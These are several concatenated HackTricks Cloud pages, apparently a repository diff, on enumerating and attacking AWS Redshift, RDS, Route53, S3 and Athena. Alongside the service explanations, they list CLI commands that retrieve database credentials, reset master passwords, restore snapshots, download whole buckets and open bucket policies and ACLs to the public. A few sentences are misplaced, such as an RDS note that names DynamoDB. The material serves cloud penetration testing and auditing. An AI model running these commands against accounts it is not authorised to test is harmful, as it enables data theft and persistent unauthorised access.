**Redshift offers encryption at rest using a four-tired hierarchy of encryption keys using either KMS or CloudHSM to manage the top tier of keys**. **When encryption is enabled for your cluster, it can't be disable and vice versa**. When you have an unencrypted cluster, it can't be encrypted.
Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**.
### KMS
During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective.
The default KMS key for Redshift is automatically created by Redshift the first time the key option is selected and used, and it is fully managed by AWS.
This KMS key is then encrypted with the CMK master key, tier one. This encrypted KMS data key is then used as the cluster encryption key, the CEK, tier two. This CEK is then sent by KMS to Redshift where it is stored separately from the cluster. Redshift then sends this encrypted CEK to the cluster over a secure channel where it is stored in memory.
Redshift then requests KMS to decrypt the CEK, tier two. This decrypted CEK is then also stored in memory. Redshift then creates a random database encryption key, the DEK, tier three, and loads that into the memory of the cluster. The decrypted CEK in memory then encrypts the DEK, which is also stored in memory.
This encrypted DEK is then sent over a secure channel and stored in Redshift separately from the cluster. Both the CEK and the DEK are now stored in memory of the cluster both in an encrypted and decrypted form. The decrypted DEK is then used to encrypt data keys, tier four, that are randomly generated by Redshift for each data block in the database.
You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3.
### CloudHSM
<details>
<summary>Using Redshift with CloudHSM</summary>
When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates.
This connection is required to provide secure communications, allowing encryption keys to be sent between your HSM client and your Redshift clusters. Using a randomly generated private and public key pair, Redshift creates a public client certificate, which is encrypted and stored by Redshift. This must be downloaded and registered to your HSM client, and assigned to the correct HSM partition.
You must then configure Redshift with the following details of your HSM client: the HSM IP address, the HSM partition name, the HSM partition password, and the public HSM server certificate, which is encrypted by CloudHSM using an internal master key. Once this information has been provided, Redshift will confirm and verify that it can connect and access development partition.
If your internal security policies or governance controls dictate that you must apply key rotation, then this is possible with Redshift enabling you to rotate encryption keys for encrypted clusters, however, you do need to be aware that during the key rotation process, it will make a cluster unavailable for a very short period of time, and so it's best to only rotate keys as and when you need to, or if you feel they may have been compromised.
During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'.
</details>
### Enumeration
```bash
# Get clusters
aws redshift describe-clusters
## Get if publicly accessible
aws redshift describe-clusters | jq -r ".Clusters[].PubliclyAccessible"
## Get DB username to login
aws redshift describe-clusters | jq -r ".Clusters[].MasterUsername"
## Get endpoint
aws redshift describe-clusters | jq -r ".Clusters[].Endpoint"
## Public addresses of the nodes
aws redshift describe-clusters | jq -r ".Clusters[].ClusterNodes[].PublicIPAddress"
## Get IAM roles of the clusters
aws redshift describe-clusters | jq -r ".Clusters[].IamRoles"
# Endpoint access & authorization
aws redshift describe-endpoint-access
aws redshift describe-endpoint-authorization
# Get credentials
aws redshift get-cluster-credentials --db-user <username> --cluster-identifier <cluster-id>
## By default, the temporary credentials expire in 900 seconds. You can optionally specify a duration between 900 seconds (15 minutes) and 3600 seconds (60 minutes).
aws redshift get-cluster-credentials-with-iam --cluster-identifier <cluster-id>
## Gives creds to access redshift with the IAM redshift permissions given to the current AWS account
## More in https://docs.aws.amazon.com/redshift/latest/mgmt/redshift-iam-access-control-identity-based.html
# Authentication profiles
aws redshift describe-authentication-profiles
# Snapshots
aws redshift describe-cluster-snapshots
# Scheduled actions
aws redshift describe-scheduled-actions
# Connect
# The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds
psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439
```
## Privesc
{% content-ref url="../aws-privilege-escalation/aws-redshift-privesc.md" %}
[aws-redshift-privesc.md](../aws-privilege-escalation/aws-redshift-privesc.md)
{% endcontent-ref %}
## Persistence
The following actions allow to grant access to other AWS accounts to the cluster:
* [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html)
* [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,168 @@
# AWS - Relational Database (RDS) Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
The **Relational Database Service (RDS)** offered by AWS is designed to streamline the deployment, operation, and scaling of a **relational database in the cloud**. This service offers the advantages of cost efficiency and scalability while automating labor-intensive tasks like hardware provisioning, database configuration, patching, and backups.
AWS RDS supports various widely-used relational database engines including MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, and Amazon Aurora, with compatibility for both MySQL and PostgreSQL.
Key features of RDS include:
* **Management of database instances** is simplified.
* Creation of **read replicas** to enhance read performance.
* Configuration of **multi-Availability Zone (AZ) deployments** to ensure high availability and failover mechanisms.
* **Integration** with other AWS services, such as:
* AWS Identity and Access Management (**IAM**) for robust access control.
* AWS **CloudWatch** for comprehensive monitoring and metrics.
* AWS Key Management Service (**KMS**) for ensuring encryption at rest.
## Credentials
When creating the DB cluster the master **username** can be configured (**`admin`** by default). To generate the password of this user you can:
* **Indicate** a **password** yourself
* Tell RDS to **auto generate** it
* Tell RDS to manage it in **AWS Secret Manager** encrypted with a KMS key
<figure><img src="../../../.gitbook/assets/image (144).png" alt=""><figcaption></figcaption></figure>
### Authentication
There are 3 types of authentication options, but using the **master password is always allowed**:
<figure><img src="../../../.gitbook/assets/image (227).png" alt=""><figcaption></figcaption></figure>
### Public Access & VPC
By default **no public access is granted** to the databases, however it **could be granted**. Therefore, by default only machines from the same VPC will be able to access it if the selected **security group** (are stored in EC2 SG)allows it.
Instead of exposing a DB instance, its possible to create a **RDS Proxy** which **improves** the **scalability** & **availability** of the DB cluster.
Moreover, the **database port can be modified** also.
### Encryption
**Encryption is enabled by default** using a AWS managed key (a CMK could be chosen instead).
By enabling your encryption, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**.\
It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**.
However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted.
#### Transparent Data Encryption (TDE)
Alongside the encryption capabilities inherent to RDS at the application level, RDS also supports **additional platform-level encryption mechanisms** to safeguard data at rest. This includes **Transparent Data Encryption (TDE)** for Oracle and SQL Server. However, it's crucial to note that while TDE enhances security by encrypting data at rest, it may also **affect database performance**. This performance impact is especially noticeable when used in conjunction with MySQL cryptographic functions or Microsoft Transact-SQL cryptographic functions.
To utilize TDE, certain preliminary steps are required:
1. **Option Group Association**:
* The database must be associated with an option group. Option groups serve as containers for settings and features, facilitating database management, including security enhancements.
* However, it's important to note that option groups are only available for specific database engines and versions.
2. **Inclusion of TDE in Option Group**:
* Once associated with an option group, the Oracle Transparent Data Encryption option needs to be included in that group.
* It's essential to recognize that once the TDE option is added to an option group, it becomes a permanent fixture and cannot be removed.
3. **TDE Encryption Modes**:
* TDE offers two distinct encryption modes:
* **TDE Tablespace Encryption**: This mode encrypts entire tables, providing a broader scope of data protection.
* **TDE Column Encryption**: This mode focuses on encrypting specific, individual elements within the database, allowing for more granular control over what data is encrypted.
Understanding these prerequisites and the operational intricacies of TDE is crucial for effectively implementing and managing encryption within RDS, ensuring both data security and compliance with necessary standards.
### Enumeration
{% code overflow="wrap" %}
```bash
# Clusters info
## Get Endpoints, username, port, iam auth enabled, attached roles, SG
aws rds describe-db-clusters
aws rds describe-db-cluster-endpoints #Cluster URLs
aws rds describe-db-cluster-backtracks --db-cluster-identifier <cluster-name>
## Cluster snapshots
aws rds describe-db-cluster-snapshots
# Get DB instances info
aws rds describe-db-instances #username, url, port, vpc, SG, is public?
aws rds describe-db-security-groups
## Find automated backups
aws rds describe-db-instance-automated-backups
## Find snapshots
aws rds describe-db-snapshots
aws rds describe-db-snapshots --include-public --snapshot-type public
## Restore snapshot as new instance
aws rds restore-db-instance-from-db-snapshot --db-instance-identifier <ID> --db-snapshot-identifier <ID> --availability-zone us-west-2a
# Any public snapshot in the account
aws rds describe-db-snapshots --snapshot-type public
# Proxies
aws rds describe-db-proxy-endpoints
aws rds describe-db-proxy-target-groups
aws rds describe-db-proxy-targets
## reset credentials of MasterUsername
aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password <NewPassword> --apply-immediately
```
{% endcode %}
### Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md" %}
[aws-rds-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
{% endcontent-ref %}
### Privesc
{% content-ref url="../aws-privilege-escalation/aws-rds-privesc.md" %}
[aws-rds-privesc.md](../aws-privilege-escalation/aws-rds-privesc.md)
{% endcontent-ref %}
### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-rds-post-exploitation.md" %}
[aws-rds-post-exploitation.md](../aws-post-exploitation/aws-rds-post-exploitation.md)
{% endcontent-ref %}
### Persistence
{% content-ref url="../aws-persistence/aws-rds-persistence.md" %}
[aws-rds-persistence.md](../aws-persistence/aws-rds-persistence.md)
{% endcontent-ref %}
### SQL Injection
There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**.
{% embed url="https://book.hacktricks.xyz/pentesting-web/sql-injection" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,57 @@
# AWS - Route53 Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Route 53
Amazon Route 53 is a cloud **Domain Name System (DNS)** web service.\
You can create https, http and tcp **health checks for web pages** via Route53.
### IP-based routing <a href="#routing-policy-ipbased" id="routing-policy-ipbased"></a>
This is useful to tune your DNS routing to make the best DNS routing decisions for your end users.\
IP-based routing offers you the additional ability to **optimize routing based on specific knowledge of your customer base**.
### Enumeration
```bash
aws route53 list-hosted-zones # Get domains
aws route53 get-hosted-zone --id <hosted_zone_id>
aws route53 list-resource-record-sets --hosted-zone-id <hosted_zone_id> # Get all records
aws route53 list-health-checks
aws route53 list-traffic-policies
```
### Privesc
{% content-ref url="../aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md" %}
[route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md](../aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,347 @@
# AWS - S3, Athena & Glacier Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## S3
Amazon S3 is a service that allows you **store big amounts of data**.
Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** (Policy), **Encryption** (Client and Server Side), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case.
With resource-based permissions, you can define permissions for sub-directories of your bucket separately.
### Bucket Versioning and MFA based delete
When bucket versioning is enabled, any action that tries to alter a file inside a file will generate a new version of the file, keeping also the previous content of the same. Therefore, it won't overwrite its content.
Moreover, MFA based delete will prevent versions of file in the S3 bucket from being deleted and also Bucket Versioning from being disabled, so an attacker won't be able to alter these files.
### S3 Access logs
It's possible to **enable S3 access login** (which by default is disabled) to some bucket and save the logs in a different bucket to know who is accessing the bucket (both buckets must be in the same region).
### S3 Presigned URLs
It's possible to generate a presigned URL that can usually be used to **access the specified file** in the bucket. A **presigned URL looks like this**:
```
https://<bucket-name>.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa
```
A presigned URL can be **created from the cli using credentials of a principal with access to the object** (if the account you use doesn't have access, a shorter presigned URL will be created but it will be useless)
```bash
aws s3 presign --region <bucket-region> 's3://<bucket-name>/<file-name>'
```
{% hint style="info" %}
The only required permission to generate a presigned URL is the permission being given, so for the previous command the only permission needed by the principal is `s3:GetObject`
{% endhint %}
It's also possible to create presigned URLs with **other permissions**:
```python
import boto3
url = boto3.client('s3').generate_presigned_url(
ClientMethod='put_object',
Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'},
ExpiresIn=3600
)
```
### S3 Encryption Mechanisms
**DEK means Data Encryption Key** and is the key that is always generated and used to encrypt data.
<details>
<summary><strong>Server-side encryption with S3 managed keys, SSE-S3</strong></summary>
This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key.
* Encryption:
* Object Data + created plaintext DEK --> Encrypted data (stored inside S3)
* Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory
* Decryption:
* Encrypted DEK + S3 Master Key --> Plaintext DEK
* Plaintext DEK + Encrypted data --> Object Data
Please, note that in this case **the key is managed by AWS** (rotation only every 3 years). If you use your own key you willbe able to rotate, disable and apply access control.
</details>
<details>
<summary><strong>Server-side encryption with KMS managed keys, SSE-KMS</strong></summary>
This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail.
* Encryption:
* S3 request data keys from KMS CMK
* KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to S£
* S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key
* Decryption:
* S3 ask to KMS to decrypt the encrypted data key of the object
* KMS decrypt the data key with the CMK and send it back to S3
* S3 decrypts the object data
</details>
<details>
<summary><strong>Server-side encryption with customer provided keys, SSE-C</strong></summary>
This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you.
* Encryption:
* The user sends the object data + Customer key to S3
* The customer key is used to encrypt the data and the encrypted data is stored
* a salted HMAC value of the customer key is stored also for future key validation
* the customer key is deleted from memory
* Decryption:
* The user send the customer key
* The key is validated against the HMAC value stored
* The customer provided key is then used to decrypt the data
</details>
<details>
<summary><strong>Client-side encryption with KMS, CSE-KMS</strong></summary>
Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored.
* Encryption:
* Client request for a data key to KMS
* KMS returns the plaintext DEK and the encrypted DEK with the CMK
* Both keys are sent back
* The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK (which is saved as metadata of the encrypted data inside S3)
* Decryption:
* The encrypted data with the encrypted DEK is sent to the client
* The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK
* The client can now decrypt the encrypted data
</details>
<details>
<summary><strong>Client-side encryption with customer provided keys, CSE-C</strong></summary>
Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage.
* Encryption:
* The client generates a DEK and encrypts the plaintext data
* Then, using it's own custom CMK it encrypts the DEK
* submit the encrypted data + encrypted DEK to S3 where it's stored
* Decryption:
* S3 sends the encrypted data and DEK
* As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data
</details>
### **Enumeration**
One of the traditional main ways of compromising AWS orgs start by compromising buckets publicly accesible. **You can find** [**public buckets enumerators in this page**](../aws-unauthenticated-enum-access/#s3-buckets)**.**
```bash
# Get buckets ACLs
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api get-object-acl --bucket <bucket-name> --key flag
# Get policy
aws s3api get-bucket-policy --bucket <bucket-name>
aws s3api get-bucket-policy-status --bucket <bucket-name> #if it's public
# list S3 buckets associated with a profile
aws s3 ls
aws s3api list-buckets
# list content of bucket (no creds)
aws s3 ls s3://bucket-name --no-sign-request
aws s3 ls s3://bucket-name --recursive
# list content of bucket (with creds)
aws s3 ls s3://bucket-name
aws s3api list-objects-v2 --bucket <bucket-name>
aws s3api list-objects --bucket <bucket-name>
aws s3api list-object-versions --bucket <bucket-name>
# copy local folder to S3
aws s3 cp MyFolder s3://bucket-name --recursive
# delete
aws s3 rb s3://bucket-name -force
# download a whole S3 bucket
aws s3 sync s3://<bucket>/ .
# move S3 bucket to different location
aws s3 sync s3://oldbucket s3://newbucket --source-region us-west-1
# list the sizes of an S3 bucket and its contents
aws s3api list-objects --bucket BUCKETNAME --output json --query "[sum(Contents[].Size), length(Contents[])]"
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
##JSON policy example
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name> # Way 1 to get the ACL
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
aws s3api get-object-acl --bucket <bucket-name> --key flag #Way 2 to get the ACL
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
##JSON ACL example
## Make sure to modify the Owners displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
```
### dual-stack <a href="#dual-stack-endpoints-description" id="dual-stack-endpoints-description"></a>
You can access an S3 bucket through a dual-stack endpoint by using a virtual hosted-style or a path-style endpoint name. These are useful to access S3 through IPv6.
Dual-stack endpoints use the following syntax:
* `bucketname.s3.dualstack.aws-region.amazonaws.com`
* `s3.dualstack.aws-region.amazonaws.com/bucketname`
### Privesc
In the following page you can check how to **abuse S3 permissions to escalate privileges**:
{% content-ref url="../aws-privilege-escalation/aws-s3-privesc.md" %}
[aws-s3-privesc.md](../aws-privilege-escalation/aws-s3-privesc.md)
{% endcontent-ref %}
### Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md" %}
[aws-s3-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
{% endcontent-ref %}
### S3 Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-s3-post-exploitation.md" %}
[aws-s3-post-exploitation.md](../aws-post-exploitation/aws-s3-post-exploitation.md)
{% endcontent-ref %}
### Persistence
{% content-ref url="../aws-persistence/aws-s3-persistence.md" %}
[aws-s3-persistence.md](../aws-persistence/aws-s3-persistence.md)
{% endcontent-ref %}
## Other S3 vulns
### S3 HTTP Cache Poisoning Issue <a href="#heading-s3-http-desync-cache-poisoning-issue" id="heading-s3-http-desync-cache-poisoning-issue"></a>
[**According to this research**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) it was possible to cache the response of an arbitrary bucket as if it belonged to a different one. This could have been abused to change for example javascript file responses and compromise arbitrary pages using S3 to store static code.
## Amazon Athena
Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service (Amazon **S3**) **using** standard **SQL**.
You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from the logs, so you can query it.
Amazon Athena supports the **ability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**.
**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**.
SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query.
### Enumeration
```bash
# Get catalogs
aws athena list-data-catalogs
# Get databases inside catalog
aws athena list-databases --catalog-name <catalog-name>
aws athena list-table-metadata --catalog-name <catalog-name> --database-name <db-name>
# Get query executions, queries and results
aws athena list-query-executions
aws athena get-query-execution --query-execution-id <id> # Get query and meta of results
aws athena get-query-results --query-execution-id <id> # This will rerun the query and get the results
# Get workgroups & Prepared statements
aws athena list-work-groups
aws athena list-prepared-statements --work-group <wg-name>
aws athena get-prepared-statement --statement-name <name> --work-group <wg-name>
# Run query
aws athena start-query-execution --query-string <query>
```
## References
